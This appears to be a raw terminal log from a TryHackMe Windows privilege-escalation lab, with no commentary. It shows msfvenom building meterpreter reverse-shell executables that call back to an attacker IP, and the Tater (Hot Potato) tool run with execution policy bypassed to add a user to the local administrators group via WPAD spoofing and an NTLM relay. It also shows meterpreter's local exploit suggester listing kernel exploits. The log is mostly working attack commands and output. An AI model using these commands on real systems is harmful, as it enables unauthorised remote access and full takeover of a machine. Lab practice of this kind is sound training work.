kali@kali ๎ฐ ~/Documents/THM/windowsprivescarena ๎ฐ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.12.198 -f exe -o x.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: x.exe
C:\Users\user>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
TCM
user
The command completed successfully.
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Users\user> powershell.exe -nop -ep bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Users\user> Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
PS C:\Users\user> Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
2022-06-26T13:24:46 - Tater (Hot Potato Privilege Escalation) started
Local IP Address = 10.10.99.186
Spoofing Hostname = WPAD
Windows Defender Trigger Enabled
Real Time Console Output Enabled
Run Stop-Tater to stop Tater early
Use Get-Command -Noun Tater* to show available functions
Press any key to stop real time console output
2022-06-26T13:24:46 - Flushing DNS resolver cache
2022-06-26T13:24:46 - Waiting for incoming HTTP connection
2022-06-26T13:24:48 - Starting NBNS spoofer to resolve WPAD to 127.0.0.1
2022-06-26T13:24:50 - WPAD has been spoofed to 127.0.0.1
2022-06-26T13:24:50 - Running Windows Defender signature update
2022-06-26T13:24:51 - HTTP request for /wpad.dat received from 127.0.0.1
2022-06-26T13:24:55 - Attempting to redirect to http://localhost:80/gethashes and trigger relay
2022-06-26T13:24:55 - HTTP request for http://download.windowsupdate.com/v9/windowsupdate/redir/muv4wuredir.cab?2206261
724 received from 127.0.0.1
2022-06-26T13:24:59 - HTTP request for /GETHASHES received from 127.0.0.1
2022-06-26T13:25:00 - HTTP to SMB relay triggered by 127.0.0.1
2022-06-26T13:25:00 - Grabbing challenge for relay from 127.0.0.1
2022-06-26T13:25:00 - Received challenge DA38D881138086D0 for relay from 127.0.0.1
2022-06-26T13:25:00 - Providing challenge DA38D881138086D0 for relay to 127.0.0.1
2022-06-26T13:25:01 - Sending response for \ for relay to 127.0.0.1
2022-06-26T13:25:01 - HTTP to SMB relay authentication successful for \ on 127.0.0.1
2022-06-26T13:25:01 - SMB relay service TGPVBCIOUBVVLFQRJQFL created on 127.0.0.1
2022-06-26T13:25:01 - Command likely executed on 127.0.0.1
2022-06-26T13:25:01 - SMB relay service TGPVBCIOUBVVLFQRJQFL deleted on 127.0.0.1
2022-06-26T13:25:02 - Stopping HTTP listener
2022-06-26T13:25:05 - Tater was successful and has exited
PS C:\Users\user> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
TCM
user
The command completed successfully.
kali@kali ๎ฐ ~/Documents/THM/windowsprivescarena ๎ฐ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.9.12.198 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.99.186 - Collecting local exploits for x86/windows...
[*] 10.10.99.186 - 40 exploit checks are being tried...
[+] 10.10.99.186 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] 10.10.99.186 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
